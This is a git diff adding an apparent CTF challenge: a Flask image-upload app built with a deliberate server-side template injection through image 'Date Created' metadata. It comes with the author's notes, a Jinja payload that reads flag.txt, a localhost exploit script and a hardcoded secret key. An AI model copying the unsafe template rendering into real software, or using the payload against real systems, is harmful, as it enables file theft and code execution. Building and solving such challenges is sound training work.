add blogpost and cdn chall
@@ -0,0 +1,30 @@
|
||||
## CDN
|
||||
|
||||
db used: sqlite
|
||||
flag.txt: GEMASTIK{random sha256 generated on app start}
|
||||
|
||||
### feature:
|
||||
[authentication required with login and register, register default as "user" role]
|
||||
1. upload image
|
||||
|
||||
### Vulns
|
||||
#### vuln1: SSTI on image Date Created metadata, exiftool cant insert this, need to write the image's blob
|
||||
example:
|
||||
```bash
|
||||
(base) jons@01-20-jonathanmarbun:/mnt/c/1Jonathan/CTFS/gawe/gms25/web2/exploit$ exiftool -overwrite_original -IPTC:DateCreated="{{7*7}}" image.png
|
||||
Warning: Invalid date format (use YYYY:mm:dd) in IPTC:DateCreated (ValueConvInv)
|
||||
Nothing to do.
|
||||
```
|
||||
payload to inject:
|
||||
```{{lipsum.__builtins__['open']('flag.txt').read()}}```
|
||||
|
||||
when editing the Date Created metadata manually, somehow it has limit of 46 char (but we can expand that to make it more by deleting the content of another metadata) -> check ssti.png
|
||||
it probably have different behavior on another image file or format
|
||||
payload: check exploit/exp3.py
|
||||
|
||||
#### vuln2:
|
||||
|
||||
### Patching Rule?
|
||||
- dont remove flag.txt/changes its content
|
||||
- ensure image metadata generation still available
|
||||
- ensure exiftool still used
|
||||
@@ -0,0 +1,21 @@
|
||||
FROM python:3.12-slim
|
||||
|
||||
ENV PYTHONDONTWRITEBYTECODE=1 \
|
||||
PYTHONUNBUFFERED=1 \
|
||||
PIP_NO_CACHE_DIR=1
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends libimage-exiftool-perl \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY requirements.txt .
|
||||
RUN pip install -r requirements.txt
|
||||
|
||||
COPY . /app
|
||||
RUN chmod +x /app/entrypoint.sh \
|
||||
&& mkdir -p /app/uploads && chmod 755 /app/uploads
|
||||
|
||||
EXPOSE 8000
|
||||
ENTRYPOINT ["/bin/bash", "entrypoint.sh"]
|
||||
@@ -0,0 +1,265 @@
|
||||
import os
|
||||
import re
|
||||
import sqlite3
|
||||
import hashlib
|
||||
import secrets
|
||||
import datetime
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
from flask import *
|
||||
from werkzeug.security import generate_password_hash, check_password_hash
|
||||
from werkzeug.utils import secure_filename
|
||||
|
||||
APP_DIR = os.path.dirname(os.path.abspath(__file__))
|
||||
DB_PATH = os.path.join(APP_DIR, "data.db")
|
||||
UPLOAD_DIR = os.path.join(APP_DIR, "uploads")
|
||||
FLAG_PATH = os.path.join(APP_DIR, "flag.txt")
|
||||
|
||||
ALLOWED_EXT = {"png", "jpg", "jpeg", "bmp"}
|
||||
MAX_CONTENT_LENGTH = 8 * 1024 * 1024
|
||||
|
||||
app = Flask(__name__)
|
||||
app.secret_key = os.environ.get("SECRET_KEY", secrets.token_hex(16))
|
||||
app.config["MAX_CONTENT_LENGTH"] = MAX_CONTENT_LENGTH
|
||||
app.config["UPLOAD_FOLDER"] = UPLOAD_DIR
|
||||
|
||||
def get_db():
|
||||
db = getattr(g, "_db", None)
|
||||
if db is None:
|
||||
db = g._db = sqlite3.connect(DB_PATH, check_same_thread=False)
|
||||
db.row_factory = sqlite3.Row
|
||||
return db
|
||||
|
||||
@app.teardown_appcontext
|
||||
def close_db(_exc):
|
||||
db = getattr(g, "_db", None)
|
||||
if db:
|
||||
db.close()
|
||||
|
||||
def init_db():
|
||||
Path(UPLOAD_DIR).mkdir(parents=True, exist_ok=True)
|
||||
db = get_db()
|
||||
db.executescript("""
|
||||
CREATE TABLE IF NOT EXISTS users (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
username TEXT UNIQUE NOT NULL,
|
||||
password_hash TEXT NOT NULL,
|
||||
role TEXT NOT NULL DEFAULT 'user',
|
||||
created_at TEXT NOT NULL
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS posts (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
user_id INTEGER NOT NULL,
|
||||
title TEXT NOT NULL,
|
||||
filename TEXT NOT NULL,
|
||||
metadata TEXT,
|
||||
created_at TEXT NOT NULL,
|
||||
FOREIGN KEY(user_id) REFERENCES users(id)
|
||||
);
|
||||
""")
|
||||
db.commit()
|
||||
|
||||
def _resolve_flag_file_path():
|
||||
p = FLAG_PATH
|
||||
if os.path.isdir(p):
|
||||
p = os.path.join(p, "flag.txt")
|
||||
os.makedirs(os.path.dirname(p), exist_ok=True)
|
||||
return p
|
||||
|
||||
def generate_flag_at_boot():
|
||||
path = _resolve_flag_file_path()
|
||||
if not os.path.exists(path) or os.environ.get("RESEED_FLAG") == "1":
|
||||
token = secrets.token_bytes(32)
|
||||
sha = hashlib.sha256(token).hexdigest()
|
||||
with open(path, "w", encoding="utf-8") as fh:
|
||||
fh.write(f"GEMASTIK{{{sha}}}\n")
|
||||
|
||||
def current_user():
|
||||
if "uid" not in session:
|
||||
return None
|
||||
db = get_db()
|
||||
cur = db.execute("SELECT id, username, role FROM users WHERE id = ?", (session["uid"],))
|
||||
return cur.fetchone()
|
||||
|
||||
def _is_within(child_path: str, parent_dir: str) -> bool:
|
||||
child_real = os.path.realpath(child_path)
|
||||
parent_real = os.path.realpath(parent_dir)
|
||||
try:
|
||||
return os.path.commonpath([child_real, parent_real]) == parent_real
|
||||
except ValueError:
|
||||
return False
|
||||
|
||||
def _exiftool_text(path_on_disk: str) -> str:
|
||||
if not _is_within(path_on_disk, UPLOAD_DIR):
|
||||
return "no-metadata"
|
||||
try:
|
||||
proc = subprocess.run(
|
||||
["exiftool", "--", path_on_disk],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=5
|
||||
)
|
||||
if proc.returncode != 0:
|
||||
return "no-metadata"
|
||||
return proc.stdout if proc.stdout else "no-metadata"
|
||||
except subprocess.TimeoutExpired:
|
||||
return "exif_err: timeout"
|
||||
except FileNotFoundError:
|
||||
return "exif_err: exiftool not found"
|
||||
except Exception as e:
|
||||
return f"exif_err: {e}"
|
||||
|
||||
def allowed_file(fn: str) -> bool:
|
||||
if "." not in fn:
|
||||
return False
|
||||
ext = fn.rsplit(".", 1)[-1].lower()
|
||||
return ext in ALLOWED_EXT
|
||||
|
||||
def sha256_hex(data: bytes) -> str:
|
||||
return hashlib.sha256(data).hexdigest()
|
||||
|
||||
@app.route("/register", methods=["GET", "POST"])
|
||||
def register():
|
||||
if request.method == "POST":
|
||||
username = request.form.get("username", "").strip()
|
||||
password = request.form.get("password", "")
|
||||
if not username or not password:
|
||||
flash("Username and password required")
|
||||
return render_template("register.html")
|
||||
pw_hash = generate_password_hash(password)
|
||||
try:
|
||||
db = get_db()
|
||||
db.execute(
|
||||
"INSERT INTO users (username, password_hash, role, created_at) VALUES (?, ?, 'user', ?)",
|
||||
(username, pw_hash, datetime.datetime.utcnow().isoformat() + "Z"),
|
||||
)
|
||||
db.commit()
|
||||
except sqlite3.IntegrityError:
|
||||
flash("Username already exists")
|
||||
return render_template("register.html")
|
||||
flash("Registered. Please login.")
|
||||
return redirect(url_for("login"))
|
||||
return render_template("register.html")
|
||||
|
||||
@app.route("/login", methods=["GET", "POST"])
|
||||
def login():
|
||||
if request.method == "POST":
|
||||
username = request.form.get("username", "").strip()
|
||||
password = request.form.get("password", "")
|
||||
db = get_db()
|
||||
cur = db.execute(
|
||||
"SELECT id, username, password_hash, role FROM users WHERE username = ?",
|
||||
(username,),
|
||||
)
|
||||
row = cur.fetchone()
|
||||
if not row or not check_password_hash(row["password_hash"], password):
|
||||
flash("Invalid credentials")
|
||||
return render_template("login.html")
|
||||
session["uid"] = row["id"]
|
||||
flash(f"Welcome, {row['username']}!")
|
||||
return redirect(url_for("gallery"))
|
||||
return render_template("login.html")
|
||||
|
||||
@app.route("/logout")
|
||||
def logout():
|
||||
session.clear()
|
||||
flash("Logged out")
|
||||
return redirect(url_for("login"))
|
||||
|
||||
@app.route("/upload", methods=["GET", "POST"])
|
||||
def upload():
|
||||
user = current_user()
|
||||
if not user:
|
||||
return redirect(url_for("login"))
|
||||
if request.method == "POST":
|
||||
title = request.form.get("title", "").strip() or "(untitled)"
|
||||
f = request.files.get("image")
|
||||
if not f or f.filename == "":
|
||||
flash("Choose an image.")
|
||||
return render_template("upload.html")
|
||||
orig_name = secure_filename(f.filename)
|
||||
if not allowed_file(orig_name):
|
||||
flash("Unsupported file type.")
|
||||
return render_template("upload.html")
|
||||
ext = orig_name.rsplit(".", 1)[-1].lower()
|
||||
data = f.read()
|
||||
sha = sha256_hex(data)
|
||||
stored = f"{sha}.{ext}"
|
||||
path = Path(UPLOAD_DIR) / stored
|
||||
if not path.exists():
|
||||
path.write_bytes(data)
|
||||
metadata_blob = _exiftool_text(str(path))
|
||||
db = get_db()
|
||||
db.execute(
|
||||
"""
|
||||
INSERT INTO posts (user_id, title, filename, metadata, created_at)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
""",
|
||||
(user["id"], title, stored, metadata_blob, datetime.datetime.utcnow().isoformat() + "Z"),
|
||||
)
|
||||
db.commit()
|
||||
flash("Upload complete.")
|
||||
return redirect(url_for("gallery"))
|
||||
return render_template("upload.html")
|
||||
|
||||
@app.route("/")
|
||||
@app.route("/gallery")
|
||||
def gallery():
|
||||
user = current_user()
|
||||
db = get_db()
|
||||
cur = db.execute(
|
||||
"""
|
||||
SELECT p.id, p.title, p.filename, p.created_at, u.username
|
||||
FROM posts p JOIN users u ON p.user_id = u.id
|
||||
ORDER BY p.id DESC
|
||||
"""
|
||||
)
|
||||
posts = cur.fetchall()
|
||||
return render_template("gallery.html", posts=posts, user=user)
|
||||
|
||||
@app.route("/post/<int:pid>")
|
||||
def view_post(pid):
|
||||
db = get_db()
|
||||
cur = db.execute(
|
||||
"SELECT p.*, u.username FROM posts p JOIN users u ON p.user_id = u.id WHERE p.id = ?",
|
||||
(pid,),
|
||||
)
|
||||
post = cur.fetchone()
|
||||
if not post:
|
||||
abort(404)
|
||||
if request.args.get("meta") == "1":
|
||||
return Response((post["metadata"] or ""), mimetype="text/plain")
|
||||
metadata_full = post["metadata"] or ""
|
||||
md_map = {"File Name": "", "Date Created": ""}
|
||||
for m in re.finditer(r"^\s*(File Name|Date Created)\s*:\s*(.*)$", metadata_full, flags=re.MULTILINE):
|
||||
key = m.group(1)
|
||||
val = m.group(2).strip()
|
||||
md_map[key] = val
|
||||
file_name_val = md_map["File Name"]
|
||||
date_created_val = md_map["Date Created"]
|
||||
metadata_snippet_html = f"<pre>File Name: {file_name_val}\nDate Created: {date_created_val}</pre>"
|
||||
tpl_path = os.path.join(APP_DIR, "templates", "view_post.html")
|
||||
with open(tpl_path, "r", encoding="utf-8") as fh:
|
||||
tpl_src = fh.read()
|
||||
placeholder = "{{ metadata_snippet or '' }}"
|
||||
if placeholder not in tpl_src:
|
||||
page_src = tpl_src + "\n" + metadata_snippet_html
|
||||
else:
|
||||
page_src = tpl_src.replace(placeholder, metadata_snippet_html)
|
||||
return render_template_string(page_src, post=post)
|
||||
|
||||
@app.route("/i/<path:filename>")
|
||||
def cdn_serve(filename):
|
||||
return send_from_directory(UPLOAD_DIR, filename, as_attachment=False)
|
||||
|
||||
@app.errorhandler(413)
|
||||
def too_large(_):
|
||||
flash("File too large.")
|
||||
return redirect(url_for("upload"))
|
||||
|
||||
if __name__ == "__main__":
|
||||
with app.app_context():
|
||||
init_db()
|
||||
generate_flag_at_boot()
|
||||
app.run(host="0.0.0.0", port=8000, debug=False)
|
||||
@@ -0,0 +1,12 @@
|
||||
version: "3.8"
|
||||
services:
|
||||
web:
|
||||
build: .
|
||||
ports:
|
||||
- "4414:8000"
|
||||
environment:
|
||||
SECRET_KEY: "c75f1259a4c95bb31563405d488d7bf9c0eaf4d562fd13557624f8e18eb5cfff"
|
||||
RESEED_FLAG: "1"
|
||||
volumes:
|
||||
- ./uploads:/app/uploads
|
||||
restart: unless-stopped
|
||||
@@ -0,0 +1,30 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
mkdir -p /app/uploads
|
||||
chmod 755 /app/uploads
|
||||
|
||||
python - <<'PY'
|
||||
import os
|
||||
import app as m
|
||||
with m.app.app_context():
|
||||
m.init_db()
|
||||
m.generate_flag_at_boot()
|
||||
print("DB & flag initialized.")
|
||||
PY
|
||||
|
||||
FLAG_PATH="${FLAG_PATH:-/app/flag.txt}"
|
||||
|
||||
if [ -d "$FLAG_PATH" ]; then
|
||||
if [ -f "$FLAG_PATH/flag.txt" ]; then
|
||||
chown root:root "$FLAG_PATH/flag.txt" || true
|
||||
chmod 444 "$FLAG_PATH/flag.txt" || true
|
||||
fi
|
||||
else
|
||||
if [ -f "$FLAG_PATH" ]; then
|
||||
chown root:root "$FLAG_PATH" || true
|
||||
chmod 444 "$FLAG_PATH" || true
|
||||
fi
|
||||
fi
|
||||
|
||||
exec python app.py
|
||||
@@ -0,0 +1,7 @@
|
||||
# Convenience: reseed flag once without starting server
|
||||
import hashlib, secrets, os
|
||||
FLAG_PATH = os.path.join(os.path.dirname(__file__), "flag.txt")
|
||||
sha = hashlib.sha256(secrets.token_bytes(32)).hexdigest()
|
||||
with open(FLAG_PATH, "w", encoding="utf-8") as fh:
|
||||
fh.write(f"GEMASTIK{{{sha}}}\n")
|
||||
print("Flag reseeded:", open(FLAG_PATH).read().strip())
|
||||
@@ -0,0 +1,4 @@
|
||||
Flask==3.0.3
|
||||
Werkzeug==3.0.3
|
||||
Pillow==10.4.0
|
||||
exifread==3.0.0
|
||||
@@ -0,0 +1,20 @@
|
||||
:root { --bg: #0b0d10; --fg: #e5e7eb; --muted:#9ca3af; --card:#111317; --accent:#60a5fa; --stroke:#1f2937; }
|
||||
* { box-sizing: border-box; }
|
||||
body { margin:0; font: 15px/1.5 system-ui, -apple-system, Segoe UI, Roboto, Arial, sans-serif; background: var(--bg); color: var(--fg); }
|
||||
a { color: var(--accent); text-decoration: none; }
|
||||
.topbar { display:flex; justify-content:space-between; align-items:center; padding:12px 16px; border-bottom:1px solid var(--stroke); background:#0e1116; }
|
||||
.brand { font-weight:700; letter-spacing:.3px; }
|
||||
.container { max-width: 980px; margin: 24px auto; padding: 0 16px; }
|
||||
.flash > div { background:#1a2332; border:1px solid #22314a; padding:8px 12px; margin:12px 0; border-radius:8px; }
|
||||
label { display:block; margin:12px 0 6px; color: var(--muted); }
|
||||
input, textarea { width:100%; padding:10px 12px; border-radius:8px; border:1px solid var(--stroke); background:#0f1217; color:var(--fg); }
|
||||
button { margin-top:12px; padding:10px 16px; border-radius:8px; border:1px solid #2b3344; background:#1b2333; color:#dbeafe; cursor:pointer; }
|
||||
.grid { display:grid; grid-template-columns: repeat(auto-fill, minmax(220px,1fr)); gap:16px; }
|
||||
.card { display:block; border:1px solid var(--stroke); border-radius:12px; overflow:hidden; background: var(--card); }
|
||||
.card img { width:100%; height:160px; object-fit:cover; display:block; }
|
||||
.card .meta { padding:10px 12px; }
|
||||
.card .title { font-weight:600; }
|
||||
.card .sub { color: var(--muted); font-size: 12px; margin-top:4px; }
|
||||
.post .full { width:100%; max-height:65vh; object-fit:contain; border:1px solid var(--stroke); border-radius:12px; }
|
||||
details.desc { margin-top:12px; }
|
||||
.foot { border-top:1px solid var(--stroke); color:var(--muted); padding:16px; text-align:center; margin-top:40px; }
|
||||
@@ -0,0 +1,36 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<title>pix.cdn — demo</title>
|
||||
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}" />
|
||||
</head>
|
||||
<body>
|
||||
<header class="topbar">
|
||||
<a href="{{ url_for('gallery') }}" class="brand">pix.cdn</a>
|
||||
<nav>
|
||||
{% if session.get('uid') %}
|
||||
<a href="{{ url_for('upload') }}">Upload</a>
|
||||
<a href="{{ url_for('logout') }}">Logout</a>
|
||||
{% else %}
|
||||
<a href="{{ url_for('login') }}">Login</a>
|
||||
<a href="{{ url_for('register') }}">Register</a>
|
||||
{% endif %}
|
||||
</nav>
|
||||
</header>
|
||||
|
||||
{% with msgs = get_flashed_messages() %}
|
||||
{% if msgs %}
|
||||
<div class="flash">
|
||||
{% for m in msgs %}<div>{{ m }}</div>{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
{% endwith %}
|
||||
|
||||
<main class="container">
|
||||
{% block content %}{% endblock %}
|
||||
</main>
|
||||
|
||||
<footer class="foot">© pix.cdn</footer>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,20 @@
|
||||
{% extends "base.html" %}
|
||||
{% block content %}
|
||||
<h2>Gallery</h2>
|
||||
|
||||
{% if not posts %}
|
||||
<p>No posts yet. <a href="{{ url_for('upload') }}">Upload one</a>.</p>
|
||||
{% endif %}
|
||||
|
||||
<div class="grid">
|
||||
{% for p in posts %}
|
||||
<a class="card" href="{{ url_for('view_post', pid=p.id) }}">
|
||||
<img src="{{ url_for('cdn_serve', filename=p.filename) }}" alt="thumb" />
|
||||
<div class="meta">
|
||||
<div class="title">{{ p.title }}</div>
|
||||
<div class="sub">{{ p.username }} · {{ p.created_at }}</div>
|
||||
</div>
|
||||
</a>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,11 @@
|
||||
{% extends "base.html" %}
|
||||
{% block content %}
|
||||
<h2>Login</h2>
|
||||
<form method="post">
|
||||
<label>Username</label>
|
||||
<input name="username" required />
|
||||
<label>Password</label>
|
||||
<input name="password" type="password" required />
|
||||
<button type="submit">Login</button>
|
||||
</form>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,12 @@
|
||||
{% extends "base.html" %}
|
||||
{% block content %}
|
||||
<h2>Register</h2>
|
||||
<form method="post">
|
||||
<label>Username</label>
|
||||
<input name="username" required />
|
||||
<label>Password</label>
|
||||
<input name="password" type="password" required />
|
||||
<button type="submit">Create account</button>
|
||||
</form>
|
||||
<p class="hint">New users default to role <code>user</code>.</p>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,13 @@
|
||||
{% extends "base.html" %}
|
||||
{% block content %}
|
||||
<h2>Upload image</h2>
|
||||
<form method="post" enctype="multipart/form-data">
|
||||
<label>Title</label>
|
||||
<input name="title" placeholder="My picture" />
|
||||
<label>Image file (png/jpg/jpeg/bmp)</label>
|
||||
<input type="file" name="image" accept=".png,.jpg,.jpeg,.bmp" required />
|
||||
<label>Notes (optional, saved with metadata)</label>
|
||||
<textarea name="notes" rows="4" placeholder="CDN descriptors, tags, etc."></textarea>
|
||||
<button type="submit">Upload</button>
|
||||
</form>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,14 @@
|
||||
{% extends "base.html" %}
|
||||
{% block content %}
|
||||
<article class="post">
|
||||
<h2>{{ post.title }}</h2>
|
||||
<img class="full" src="{{ url_for('cdn_serve', filename=post.filename) }}" alt="" />
|
||||
|
||||
<details class="desc">
|
||||
<summary>Delivery details</summary>
|
||||
<p>Static CDN reference: <code>/i/{{ post.filename }}</code></p>
|
||||
<p>Uploaded at: <code>{{ post.created_at }}</code></p>
|
||||
</details>
|
||||
<template id="internal-meta" hidden>{{ metadata_snippet or '' }}</template>
|
||||
</article>
|
||||
{% endblock %}
|
||||
|
After Width: | Height: | Size: 1012 KiB |
|
After Width: | Height: | Size: 1012 KiB |
|
After Width: | Height: | Size: 1012 KiB |
|
After Width: | Height: | Size: 1012 KiB |
|
After Width: | Height: | Size: 1012 KiB |
|
After Width: | Height: | Size: 1012 KiB |
@@ -0,0 +1,91 @@
|
||||
import os
|
||||
import re
|
||||
import random
|
||||
import string
|
||||
from pathlib import Path
|
||||
import requests
|
||||
|
||||
print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts")
|
||||
|
||||
HOST = "http://localhost:4414"
|
||||
REGISTER_URL = f"{HOST}/register"
|
||||
LOGIN_URL = f"{HOST}/login"
|
||||
UPLOAD_URL = f"{HOST}/upload"
|
||||
HOME_URL = f"{HOST}/"
|
||||
|
||||
TIMEOUT = float(os.environ.get("TIMEOUT", "1")) # detik
|
||||
|
||||
def rnd(n=8):
|
||||
alpha = string.ascii_lowercase + string.digits
|
||||
return ''.join(random.choices(alpha, k=n))
|
||||
|
||||
USERNAME = rnd()
|
||||
PASSWORD = rnd()
|
||||
LOCAL_IMAGE = os.environ.get("IMG", "ssti.png") # PNG dengan payload Jinja di metadata
|
||||
|
||||
s = requests.Session()
|
||||
s.headers.update({"User-Agent": "ssti-exp/1.0"})
|
||||
|
||||
def ok_or_redirect(resp):
|
||||
return 200 <= resp.status_code < 400
|
||||
|
||||
# 1) Register (allow redirects)
|
||||
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD},
|
||||
allow_redirects=True, timeout=TIMEOUT)
|
||||
print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}")
|
||||
if not ok_or_redirect(r):
|
||||
print("[x] Registration failed")
|
||||
raise SystemExit(1)
|
||||
print(f"[+] Registered: {USERNAME}:{PASSWORD}")
|
||||
|
||||
# 2) Login (allow redirects)
|
||||
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD},
|
||||
allow_redirects=True, timeout=TIMEOUT)
|
||||
print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}")
|
||||
if not ok_or_redirect(r):
|
||||
print("[x] Login failed")
|
||||
raise SystemExit(1)
|
||||
print("[+] Logged in")
|
||||
|
||||
# 3) Upload image (title + image)
|
||||
img_path = Path(LOCAL_IMAGE)
|
||||
if not img_path.exists():
|
||||
raise SystemExit(f"[x] Local image not found: {LOCAL_IMAGE}")
|
||||
|
||||
with img_path.open("rb") as fh:
|
||||
files = {"image": (img_path.name, fh, "image/png")}
|
||||
data = {"title": "SSTI Exploit"}
|
||||
r = s.post(UPLOAD_URL, data=data, files=files,
|
||||
allow_redirects=True, timeout=TIMEOUT)
|
||||
print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}")
|
||||
if not ok_or_redirect(r):
|
||||
print("[x] Upload failed")
|
||||
raise SystemExit(1)
|
||||
print("[+] Upload complete")
|
||||
|
||||
# 4) Home → cari post id terbaru
|
||||
r = s.get(HOME_URL, timeout=TIMEOUT)
|
||||
print(f"[i] Home -> {r.status_code}")
|
||||
if r.status_code != 200:
|
||||
print("[x] Failed to load home")
|
||||
raise SystemExit(1)
|
||||
|
||||
post_ids = re.findall(r'/post/(\d+)', r.text)
|
||||
if not post_ids:
|
||||
print("[-] No posts found on home.")
|
||||
# print(r.text[:800])
|
||||
raise SystemExit(1)
|
||||
|
||||
pid = max(map(int, post_ids))
|
||||
post_url = f"{HOST}/post/{pid}"
|
||||
print(f"[+] Newest post: {post_url}")
|
||||
|
||||
# 5) Trigger SSTI dan cari flag
|
||||
r = s.get(post_url, timeout=TIMEOUT)
|
||||
print(f"[i] Post -> {r.status_code}")
|
||||
m = re.search(r"GEMASTIK\{[^}]*\}", r.text)
|
||||
if m:
|
||||
print("[+] Flag:", m.group(0))
|
||||
else:
|
||||
print("[-] Flag not found in response.")
|
||||
print(r.text[:1200])
|
||||
|
After Width: | Height: | Size: 1012 KiB |
|
After Width: | Height: | Size: 1012 KiB |